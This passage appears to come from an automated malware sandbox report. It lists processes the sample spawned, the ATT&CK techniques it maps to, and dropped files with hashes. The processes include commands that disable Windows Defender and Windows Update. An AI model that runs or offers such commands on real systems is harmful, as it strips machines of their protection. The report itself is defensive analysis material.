  2⤵
  PID:2544
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config WinDefend start= disabled
  2⤵
  PID:3048
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config wuauserv start= disabled
  2⤵
  PID:4624

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

Packet.dll

Path C:\Windows\SysWOW64\Packet.dll
Size 95KB
SHA256 49656c178b17198470ad6906e9ee0865f16f01c1dbbf11c613b55a07246a7918
MD5 86316be34481c1ed5b792169312673fd
SHA1 6ccde3a8c76879e49b34e4abb3b8dfaf7a9d77b5
SHA512 3a6e77c39942b89f3f149e9527ab8a9eb39f55ac18a9db3a3922dfb294beb0760d10ca12be0e3a3854ff7dabbe2df18c52e3696874623a2a9c5dc74b29a860bc
SSDEEP 1536:zg6Z54QkC2wpk2c+ZCDHKklh74RTfIEtaYQ0:M6Z54ARcIxk4LIEtaYj
MD5 SHA1 SHA512 SSDEEP

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wpcap.dll

Path C:\Windows\SysWOW64\wpcap.dll
Size 275KB
SHA256 b967e4dce952f9232592e4c1753516081438702a53424005642700522055dbc9
MD5 4633b298d57014627831ccac89a2c50b
SHA1 e5f449766722c5c25fa02b065d22a854b6a32a5b
SHA512 29590fa5f72e6a36f2b72fc2a2cca35ee41554e13c9995198e740608975621142395d4b2e057db4314edf95520fd32aae8db066444d8d8db0fd06c391111c6d3
SSDEEP 6144:E4yIm5rC9WNWwKcNBSCiLvK8+jKgZBwIbg2:jyIm59WwpqCuEKIwv2
MD5 SHA1 SHA512 SSDEEP

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800.dmp

Path C:\Windows\TEMP\kfesmkaky\800.dmp
Size 2.0MB
SHA256 d53eb3e819b5967904a3a9af0131c813eb9fe564eb139e3ce1bf041c73e8a575
MD5 d725cbf45297b0bc9a62827e45630241
SHA1 11b8978a638a90646be57a19fbc83a6244dc7343
SHA512 d25677dc4ed64eae9b34f95c3829e57f337e9c98d3622bf731889255b414fe19b9b866a4fb49d9ac360b88cc2b1d6b42823e2454aaa4f6240eaca59c53218bf0
SSDEEP 24576:4Xufw63uOThh2GEh7BkTAhhAofuo43n11A:Scw63u5hFhhPu1A
MD5 SHA1 SHA512 SSDEEP

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aeytjhyzj.exe

Path C:\Windows\Temp\kfesmkaky\aeytjhyzj.exe
Size 126KB
SHA256 a26ae467f7b6f4bb23d117ca1e1795203821ca31ce6a765da9713698215ae9af
MD5 e8d45731654929413d79b3818d6a5011
SHA1 23579d9ca707d9e00eb62fa501e0a8016db63c7e
SHA512 df6bcdc59be84290f9ecb9fa0703a3053498f49f63d695584ffe595a88c014f4acf4864e1be0adf74531f62ce695be66b28cfd1b98e527ab639483802b5a37a6
SSDEEP 3072:S87vdHRv2cf+xfkXQcsjBefXMTpmaRh+X7/UB7aglybvczXEXVHL:S8Nx2kRQRtmXuxROcBeiyb0XE
MD5 SHA1 SHA512 SSDEEP

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System.dll

Path C:\Windows\Temp\nsu9DE8.tmp\System.dll
Size 11KB
SHA256 681382f3134de5c6272a49dd13651c8c201b89c247b471191496e7335702fa59
MD5 2ae993a2ffec0c137eb51c8832691bcb
SHA1 98e0b37b7c14890f8a599f35678af5e9435906e1
SHA512 2501371eb09c01746119305ba080f3b8c41e64535ff09cee4f51322530366d0bd5322ea5290a466356598027e6cda8ab360caef62dcaf560d630742e2dd9bcd9
SSDEEP 192:vPtkumJX7zB22kGwfy0mtVgkCPOsE1un:k702k5qpdsEQn
MD5 SHA1 SHA512 SSDEEP

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nsExec.dll

Path C:\Windows\Temp\nsu9DE8.tmp\nsExec.dll
Size 6KB
SHA256 3e3d516d4f28948a474704d5dc9907dbe39e3b3f98e7299f536337278c59c5c9
MD5 b648c78981c02c434d6a04d4422a6198
SHA1 74d99eed1eae76c7f43454c01cdb7030e5772fc2
SHA512 219c88c0ef9fd6e3be34c56d8458443e695badd27861d74c486143306a94b8318e6593bf4da81421e88e4539b238557dd4fe1f5bedf3ecec59727917099e90d2
SSDEEP 96:U7GUxNkO6GR0t9GKKr1Zd8NHYVVHp4dEeY3kRnHdMqqyVgNN3e:mXhHR0aTQN4gRHdMqJVgNE
MD5 SHA1 SHA512 SSDEEP

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mghfsiy.exe

Path C:\Windows\atiufaue\mghfsiy.exe
Size 8.5MB
SHA256 471d155cbddcdc9956590a19d4ea3b71d55d8b37709c11db3dbc51b0a6a772ab
MD5 317f2bc2a3d7faa12dc7916a2725cad4
SHA1 cff4b5f87d235e9664d9ddc52b0fa5f9f8c68264
SHA512 8f2822ae836116f2a6d5030d094ddddac32ceeab51a92a232f295f27ac82f40ac50bdc624696399200fa35ce8707a9ddcd814526eb9d5bc382ce4ef52c7d1bbd
SSDEEP 196608:ylTPemknGzwHdOgEPHd9BYX/nivPlTXTYP:a3jz0E52/iv1
MD5 SHA1 SHA512 SSDEEP

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vfshost.exe

Path C:\Windows\kfesmkaky\Corporate\vfshost.exe
Size 381KB
SHA256 441430308fa25ec04fd913666f5e0748fdb10743984656d55acc26542e5fff45
MD5 fd5efccde59e94eec8bb2735aa577b2b
SHA1 51aaa248dc819d37f8b8e3213c5bdafc321a8412
SHA512 74a7eebdee9d25a306be83cb3568622ea9c1b557a8fbb86945331209bdc884e48113c3d01aac5347d88b8d2f786f8929aa6bb55d80516f3b4f9cc0f18362e8e3
SSDEEP 6144:Nb2oBq5C4PmDv0Jdu3mU0S7hJkb6HtJCUzMwF0Smf9dBYOZBiTsGsDA:Nb2oh4PmDv0m3mZ2q6H/CUzMwFVUdbTE
MD5 SHA1 SHA512 SSDEEP

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myfdjeyae.exe

Path C:\Windows\kfesmkaky\ljlebekct\myfdjeyae.exe
Size 332KB
SHA256 4883500a1bdb7ca43749635749f6a0ec0750909743bde3a2bc1bfc09d088ca38
MD5 ea774c81fe7b5d9708caa278cf3f3c68
SHA1 fc09f3b838289271a0e744412f5f6f3d9cf26cee
SHA512 7cfde964c1c62759e3ba53c47495839e307ba0419d740fcacbeda1956dcee3b51b3cf39e6891120c72d0aae48e3ea1019c385eb5006061ced89f33b15faa8acb
SSDEEP 6144:Ivx5xQU1qp9wIirKxl+mdzGaqdWa/fx9cufQNn8QOohgM4nK6mwBLaq:+x71qpeIirCl+mKdWa/IuOn8QOcgPNg
MD5 SHA1 SHA512 SSDEEP

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wpcap.exe

Path C:\Windows\kfesmkaky\ljlebekct\wpcap.exe
Size 424KB
SHA256 7ec51f4041f887ba1d4241054f3be8b5068291902bada033081eff7144ec6a6d
MD5 e9c001647c67e12666f27f9984778ad6
SHA1 51961af0a52a2cc3ff2c4149f8d7011490051977
SHA512 56f0cff114def2aeda0c2c8bd9b3abcacef906187a253ea4d943b3f1e1ca52c452d82851348883288467a8c9a09d014910c062325964bcfe9618d7b58056e1fe
SSDEEP 6144:QMfCdwTjPBATlmSfB0KYljf/ZH/6xNEN3MUFPuprkjUhUmpqV/TW6cDBvKasW6B:tCdM9AhHfTYexNYeFkyU/JTg1KRp
MD5 SHA1 SHA512 SSDEEP

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hosts

Path C:\Windows\system32\drivers\etc\hosts
Size 1KB
SHA256 1891edcf077aa8ed62393138f16e445ef4290a866bccdbb7e2d7529034a66e53
MD5 c838e174298c403c2bbdf3cb4bdbb597
SHA1 70eeb7dfad9488f14351415800e67454e2b4b95b
SHA512 c53a52b74d19274c20dece44f46c5d9f37cd0ec28cf39cac8b26ba59712f789c14d1b10b7f5b0efdf7ce3211dda0107792cc42503faa82cb13ffae979d49d376
MD5 SHA1 SHA512

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memory/2852-134-0x00007FF7B7DA0000-0x00007FF7B7E8E000-memory.dmp

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memory/2852-136-0x00007FF7B7DA0000-0x00007FF7B7E8E000-memory.dmp

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memory/3136-140-0x00007FF75EAD0000-0x00007FF75EB2B000-memory.dmp

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memory/3136-143-0x00007FF75EAD0000-0x00007FF75EB2B000-memory.dmp

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memory/3984-0-0x0000000000400000-0x0000000000A9B000-memory.dmp

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memory/4024-77-0x0000000000F00000-0x0000000000F4C000-memory.dmp

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memory/4344-7-0x0000000000400000-0x0000000000A9B000-memory.dmp

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